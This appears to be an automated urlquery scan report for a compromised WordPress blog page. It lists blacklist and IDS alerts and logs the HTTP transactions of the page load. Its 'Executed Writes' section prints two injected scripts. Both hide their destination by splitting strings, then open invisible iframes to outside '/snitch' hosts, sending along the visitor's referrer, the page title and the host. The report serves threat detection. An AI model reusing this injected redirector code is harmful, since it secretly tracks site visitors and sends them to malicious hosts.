Overview

URL theforestsessions.com/blog/about
IP213.186.33.19
ASNAS16276 OVH SAS
Location France
Report completed2018-10-24 10:50:26 CEST
StatusLoading report..
urlquery Alerts Suspicious javascript obfuscation


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Pool
Access Level


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Severity Source IP Destination IP Alert
2018-10-24 10:50:04 CEST 1 Client IP  199.59.242.151 ET CURRENT_EVENTS Evil Redirector Sep 29 2015


Blacklists

MDL  No alerts detected
OpenPhish  No alerts detected
PhishTank  No alerts detected
Fortinet's Web Filter
Added / Verified Severity Host Comment
2018-10-24 2 theforestsessions.com/blog/about Malware
2018-10-24 2 theforestsessions.com/blog/about/ Malware
2018-10-24 2 theforestsessions.com/blog/wp-content/themes/weaver-ii/style-mobile.min.css (...) Malware
2018-10-24 2 theforestsessions.com/blog/wp-content/plugins/ss-downloads/css/ss-downloads (...) Malware
2018-10-24 2 theforestsessions.com/blog/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1 Malware
2018-10-24 2 theforestsessions.com/blog/wp-content/plugins/dynamic-headers/AC_RunActiveC (...) Malware
2018-10-24 2 theforestsessions.com/blog/wp-includes/js/jquery/jquery.js?ver=1.12.4 Malware
2018-10-24 2 theforestsessions.com/blog/wp-includes/js/wp-embed.min.js?ver=4.7.11 Malware
2018-10-24 2 theforestsessions.com/blog/wp-content/themes/weaver-ii/js/weaverjslib.min.j (...) Malware
DNS-BH  No alerts detected
mnemonic secure dns  No alerts detected


Recent reports on same IP/ASN/Domain

Last 10 reports on IP: 213.186.33.19

Date UQ / IDS / BL URL IP
2019-06-27 14:31:24 +0200
0 - 0 - 0 www.caravanpalace.com 213.186.33.19
2019-06-27 10:58:08 +0200
0 - 0 - 0 adahb.org 213.186.33.19
2019-06-26 13:43:59 +0200
0 - 0 - 0 https://www.ciel-et-terre.net/ 213.186.33.19
2019-06-25 15:42:48 +0200
0 - 0 - 0 www.caravanpalace.com 213.186.33.19
2019-06-17 14:10:23 +0200
0 - 0 - 0 generali.phieconeo.fr 213.186.33.19
2019-06-11 00:39:09 +0200
0 - 0 - 1 www.adahb.org/formations 213.186.33.19
2019-06-10 19:57:38 +0200
0 - 0 - 8 bamisagora.org/ 213.186.33.19
2019-06-10 18:53:45 +0200
0 - 0 - 19 reprogservice.fr/cm_htm 213.186.33.19
2019-06-10 18:52:50 +0200
0 - 0 - 18 www.reprogservice.fr/cm_htm 213.186.33.19
2019-06-10 17:48:18 +0200
0 - 0 - 1 maisondhotes.org/fr/mallorca.html 213.186.33.19

Last 10 reports on ASN: AS16276 OVH SAS

Date UQ / IDS / BL URL IP
2019-07-01 07:47:12 +0200
0 - 0 - 0 https://www.munplanet.com/articles/arlo-camer (...) 158.69.39.233
2019-07-01 04:15:44 +0200
0 - 3 - 0 www.asind.ae/wp-content/uploads/2019/seconder (...) 5.39.72.197
2019-07-01 03:56:20 +0200
0 - 0 - 0 webcamsteen.com/16y4[CUSTOM_AFF 192.99.67.89
2019-07-01 02:43:31 +0200
0 - 0 - 0 167.114.144.169/Android/ 167.114.144.169
2019-06-30 21:34:01 +0200
0 - 0 - 0 streams.tvxweb.org 158.69.54.221
2019-06-30 21:30:47 +0200
0 - 0 - 0 source.magikserv.com 37.187.171.206
2019-06-30 20:09:51 +0200
0 - 0 - 0 www.kweeper.com/popcorn2kg/sentence/6382508 91.121.242.21
2019-06-30 18:49:10 +0200
0 - 0 - 0 www.ovh.com 198.27.92.1
2019-06-30 18:18:47 +0200
0 - 0 - 0 liczniki.org/hit.php?l=alltube&o=1 94.23.92.123
2019-06-30 18:11:40 +0200
0 - 0 - 0 hardrock.blogdns.org/ 91.121.69.126

Last 10 reports on domain: theforestsessions.com

Date UQ / IDS / BL URL IP
2019-06-10 16:38:12 +0200
4 - 3 - 9 theforestsessions.com/redooen/about 213.186.33.19
2019-06-09 17:55:30 +0200
4 - 2 - 10 theforestsessions.com/redooen/2012/09/26/we-a (...) 213.186.33.19
2019-04-16 20:15:43 +0200
4 - 0 - 10 theforestsessions.com/redooen/2012/09/26/lepolair 213.186.33.19
2019-04-02 02:11:07 +0200
4 - 0 - 9 theforestsessions.com/redooen/2012/09/21 213.186.33.19
2019-01-12 15:08:57 +0100
4 - 2 - 10 theforestsessions.com/redooen/2012/09 213.186.33.19
2018-12-16 04:16:35 +0100
4 - 1 - 11 theforestsessions.com/redooen/2012/09/21/13 213.186.33.19
2018-12-14 23:08:27 +0100
4 - 0 - 10 theforestsessions.com/blog/blog/2012/09/18/le (...) 213.186.33.19
2018-12-08 03:05:29 +0100
4 - 1 - 11 theforestsessions.com/redooen/2012/09/26/ed-w (...) 213.186.33.19
2018-10-15 14:39:08 +0200
4 - 2 - 0 theforestsessions.com/redooen/download 213.186.33.19
2018-10-01 02:32:48 +0200
4 - 1 - 10 theforestsessions.com/blog/blog/2012/07/07/gr (...) 213.186.33.19


JavaScript

Executed Scripts (59)


Executed Evals (0)


Executed Writes (2)

#1 JavaScript::Write (size: 582, repeated: 1) - SHA256: 8fbb8d3065fda178e73d9e6404983d8e35dea181bc53bc6a5cf39d52cb3693c1

                                        < script type = "text/javascript" >
    var referer = encodeURIComponent(document.referrer);
var default_keyword = encodeURIComponent(document.title);
var host = encodeURIComponent(location.host);
var iframe = document.createElement('iframe');
iframe.width = 0;
iframe.height = 0;
iframe.src = "h" + "tt" + "p://" + "c11n4." + "i.te" + "as" + "erg" + "uid" + "e.c" + "om" + "/snitch?d" + "ef" + "aul" + "t_k" + "ey" + "word=" + default_keyword + "&refe" + "rrer=" + referer + "&se_r" + "ef" + "er" + "rer=" + referer + "&sou" + "rce=" + host;
document.body.appendChild(iframe); < /script>
                                    

#2 JavaScript::Write (size: 583, repeated: 3) - SHA256: 1bf897f594bc67301f838c5e3d41d83d1a21d843baa5d30a95bd48c1072c567b

                                        < script type = "text/javascript" >
    var referer = encodeURIComponent(document.referrer);
var default_keyword = encodeURIComponent(document.title);
var host = encodeURIComponent(location.host);
var iframe = document.createElement('iframe');
iframe.width = 0;
iframe.height = 0;
iframe.src = "h" + "tt" + "p://" + "kfc." + "i.i" + "ll" + "uminat" + "ione" + "s.c" + "om" + "/snitch?d" + "ef" + "aul" + "t_k" + "ey" + "word=" + default_keyword + "&refe" + "rrer=" + referer + "&se_r" + "ef" + "er" + "rer=" + referer + "&sou" + "rce=" + host;
document.body.appendChild(iframe); < /script>
                                    


HTTP Transactions (86)


Request Response
                                        
                                            GET /blog/about HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         213.186.33.19
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=UTF-8
                                        
Set-Cookie: 60gpBAK=R1224193598; path=/; expires=Wed, 24-Oct-2018 09:56:06 GMT 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 10:01:12 GMT PHPSESSID=049162a1da72ed068364305ec4ed76c7; path=/
Date: Wed, 24 Oct 2018 08:49:40 GMT
Transfer-Encoding: chunked
Server: Apache
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://theforestsessions.com/blog/about/
X-IPLB-Instance: 17321


--- Additional Info ---

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /blog/about/ HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 09:59:48 GMT
Date: Wed, 24 Oct 2018 08:49:40 GMT
Server: Apache
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Link: <http://theforestsessions.com/blog/wp-json/>; rel="https://api.w.org/", <http://theforestsessions.com/blog/?p=805>; rel=shortlink
Vary: Accept-Encoding
Content-Encoding: gzip
Transfer-Encoding: chunked
X-IPLB-Instance: 17321


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   7931
Md5:    21188f2246bc3b88249fca04050c4053
Sha1:   159ca038288a71033f5099fd8a2d517a255ef0f4
Sha256: c2c2c5a3e6678d5d584cc2710974e613c7e1d9804884bf70a75372b6d0b9d5e4

Alerts:
  urlquery:
    - Suspicious javascript obfuscation
    - Suspicious javascript obfuscation
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /blog/wp-includes/js/wp-emoji-release.min.js?ver=4.7.11 HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 09:48:34 GMT
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: Apache
Last-Modified: Fri, 21 Apr 2017 12:24:54 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: max-age=900
Expires: Wed, 24 Oct 2018 09:04:41 GMT
Content-Length: 4230
X-IPLB-Instance: 17321


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   4230
Md5:    57124a0ca8620881a851e1796606c856
Sha1:   258d1c2ce66baec5b927edc91c4fc2f587406b4c
Sha256: a44cfc903daf41f88c0b6c034d7b99b0978ce4e8a38611984d99f9e58ed65458
                                        
                                            GET /en_US/all.js HTTP/1.1 
Host: connect.facebook.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Expose-Headers: X-FB-Content-MD5
x-fb-content-md5: c19ca59bdc9c59fbfcc2ad0de219ba93
Etag: "146b0bc0d70f87768410ed95ff1cd79f"
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; preload; includeSubDomains
X-XSS-Protection: 0
X-Frame-Options: DENY
timing-allow-origin: *
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Cache-Control: public,max-age=1200,stale-while-revalidate=3600
Expires: Wed, 24 Oct 2018 09:05:47 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: I2oPBNUBWBsVYU9klda6Zw==
X-FB-Debug: wKNFyIjVmCArZw29jE7+AyqRZK4INef/3xUpHIGoh7W5AObfb0yQd/t7EnWSSH0SmAd9Q46V2e3Y+BCBLcxOAQ==
Date: Wed, 24 Oct 2018 08:49:41 GMT
Connection: keep-alive
Content-Length: 57660


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   57660
Md5:    236a0f04d501581b15614f6495d6ba67
Sha1:   a6e39ffcaa374ce0dde6ef0fae67be036114660c
Sha256: 4b88e516d8322dea02bc9e64449204b6de43d2ac8198ed3fff3feb172eaf0ebe
                                        
                                            GET /blog/wp-content/themes/weaver-ii/style-mobile.min.css?ver=2.1.12 HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 09:55:28 GMT
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: Apache
Last-Modified: Wed, 06 Aug 2014 20:55:56 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: max-age=900
Expires: Wed, 24 Oct 2018 09:04:41 GMT
Content-Length: 5661
X-IPLB-Instance: 17329


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   5661
Md5:    9995ad899fd3f6a1a7d4d4f40689d030
Sha1:   e605854ccbd0a536673cc4d61eff2783fe57d98d
Sha256: d166ca877b74c8034e73d9969992a72caa1694e2ba12ccf7f04c6c33bb046e06

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /blog/wp-content/plugins/ss-downloads/css/ss-downloads.css?ver=4.7.11 HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 09:56:32 GMT
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: Apache
Last-Modified: Tue, 15 Apr 2014 12:13:07 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: max-age=900
Expires: Wed, 24 Oct 2018 09:04:41 GMT
Content-Length: 451
X-IPLB-Instance: 17321


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   451
Md5:    700b1edfda68c86dfee8ba318c035347
Sha1:   910964183d7ff8e91a790083c5f163d84342777a
Sha256: 3d543e1918e5ad0ae3fb4d627688e37f384ed35decf0318975757a7ee09429aa

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /blog/wp-content/themes/weaver-ii/style.min.css?ver=2.1.12 HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 10:01:12 GMT
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: Apache
Last-Modified: Wed, 06 Aug 2014 20:55:56 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: max-age=900
Expires: Wed, 24 Oct 2018 09:04:41 GMT
Content-Length: 8269
X-IPLB-Instance: 5182


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   8269
Md5:    7269774b1016e5452ec0515ef03a44c0
Sha1:   75a4ca8cd8da90712a980f6f4290c0dbe2977353
Sha256: 2dde727c84c74c3faffbaa68de150a9121e9cb3573682216a69413a72b075911
                                        
                                            GET /blog/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1 HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 10:02:07 GMT
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: Apache
Last-Modified: Tue, 21 Jun 2016 18:36:43 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: max-age=900
Expires: Wed, 24 Oct 2018 09:04:41 GMT
Content-Length: 4014
X-IPLB-Instance: 17326


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   4014
Md5:    a6c81e2f02bd04160d2de88c4e8f3559
Sha1:   e3f3c91427d785820ca97dabe738f01faf041f36
Sha256: b734d83af5da0eb627e04d3e62ce652b9eb7de19667a1b91da6b93f0ea5d7ffe

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /blog/wp-content/plugins/dynamic-headers/AC_RunActiveContent.js HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 09:55:40 GMT
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: Apache
Last-Modified: Mon, 09 Jul 2012 18:39:02 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: max-age=900
Expires: Wed, 24 Oct 2018 09:04:41 GMT
Content-Length: 2412
X-IPLB-Instance: 17321


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   2412
Md5:    e7387087c115d69fda8fa68c7c667075
Sha1:   d9c5f3209dd1015a8e729832eb57f05d0d7a7613
Sha256: 67e3736cb3993c9fec57c1e43ec36b50b2448d4c399d926e21459055e4061ee3

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /blog/wp-includes/js/jquery/jquery.js?ver=1.12.4 HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 10:02:07 GMT
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: Apache
Last-Modified: Tue, 21 Jun 2016 18:36:43 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: max-age=900
Expires: Wed, 24 Oct 2018 09:04:41 GMT
Content-Length: 33766
X-IPLB-Instance: 17329


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   33766
Md5:    d417f4d673009b01654915bbf1f4f872
Sha1:   f432ea8e89e5f4ef50e506019899e539a068f415
Sha256: 24560d81ded58e8befabf32ff51f5b6ae6f21eead0a5f87c255e3b47b988d1cc

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /blog/wp-includes/js/wp-embed.min.js?ver=4.7.11 HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 09:59:25 GMT
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: Apache
Last-Modified: Fri, 21 Apr 2017 12:24:54 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: max-age=900
Expires: Wed, 24 Oct 2018 09:04:41 GMT
Content-Length: 751
X-IPLB-Instance: 17321


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   751
Md5:    7542039ce963ffd18ad4fb7be13bd2be
Sha1:   8385e433e8e65739fc27b6bd16b1a7ae71b11084
Sha256: a70bca1336a4ac7592ce631cbb22c9ebb01d60461d221ac7a46f91a4ccfd1255

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /blog/wp-content/themes/weaver-ii/js/weaverjslib.min.js?ver=2.1.12 HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 09:59:48 GMT
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: Apache
Last-Modified: Wed, 06 Aug 2014 20:55:56 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Cache-Control: max-age=900
Expires: Wed, 24 Oct 2018 09:04:41 GMT
Content-Length: 3756
X-IPLB-Instance: 17329


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   3756
Md5:    ab75262c837996b521e44eef9d2a9d7f
Sha1:   7eaf6cd654b234fd0a3d46ada5e994e3242d814f
Sha256: bf1be47ca23c8a85ce512f5614be193b7666f6663d2633ac6c44ecd14b7423e3

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /blog/wp-content/header-images/REDOOLITTLEheader1.jpg HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 09:56:32 GMT
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: Apache
Last-Modified: Mon, 08 Oct 2012 21:26:49 GMT
Accept-Ranges: bytes
Content-Length: 124587
Cache-Control: max-age=900
Expires: Wed, 24 Oct 2018 09:04:41 GMT
X-IPLB-Instance: 5182


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   124587
Md5:    a00656bd48ee870e5da28357ffae6026
Sha1:   52fb602ac12ef9642255d0a9d7c7a88d8c5d44dd
Sha256: c7665446707b4dd8d149dda0752ab416b11002ec083d4cfca0ab415b5ad92fc7
                                        
                                            GET /ga.js HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         172.217.20.46
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Strict-Transport-Security: max-age=10886400; includeSubDomains; preload
timing-allow-origin: *
Date: Wed, 24 Oct 2018 07:37:07 GMT
Expires: Wed, 24 Oct 2018 09:37:07 GMT
Last-Modified: Thu, 11 Oct 2018 19:41:26 GMT
X-Content-Type-Options: nosniff
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Golfe2
Content-Length: 17168
Cache-Control: public, max-age=7200
Age: 4354


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   17168
Md5:    01d5892e6e243b52998310c2925b9f3a
Sha1:   58180151b6a6ee4af73583a214b68efb9e8844d4
Sha256: 7e90efb4620a78e8869796d256bcddbde90b853c8c15c5cc116cb11d3d17bc4d
                                        
                                            GET /blog/wp-content/themes/weaver-ii/images/search_button.gif HTTP/1.1 
Host: theforestsessions.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/
Cookie: 60gpBAK=R1224193598; 60gp=R1863987645; PHPSESSID=049162a1da72ed068364305ec4ed76c7

                                         
                                         213.186.33.19
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Set-Cookie: 60gp=R1863987645; path=/; expires=Wed, 24-Oct-2018 09:56:06 GMT
Date: Wed, 24 Oct 2018 08:49:41 GMT
Server: Apache
Last-Modified: Wed, 06 Aug 2014 20:55:56 GMT
Accept-Ranges: bytes
Content-Length: 292
Cache-Control: max-age=900
Expires: Wed, 24 Oct 2018 09:04:41 GMT
X-IPLB-Instance: 17326


--- Additional Info ---
Magic:  GIF image data, version 89a, 30 x 20
Size:   292
Md5:    d5e86e91efaa2874ef7d086faf9e2f33
Sha1:   29d3c7f9b0da6cdc9612a9834f5eacc3af4fc794
Sha256: f70ef46b9456a476a1086b311758533810a14c61a64d982992c987e70dcb9da9
                                        
                                            GET /embed/HLypuN6cQ6A HTTP/1.1 
Host: www.youtube.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://theforestsessions.com/blog/about/

                                         
                                         216.58.207.206
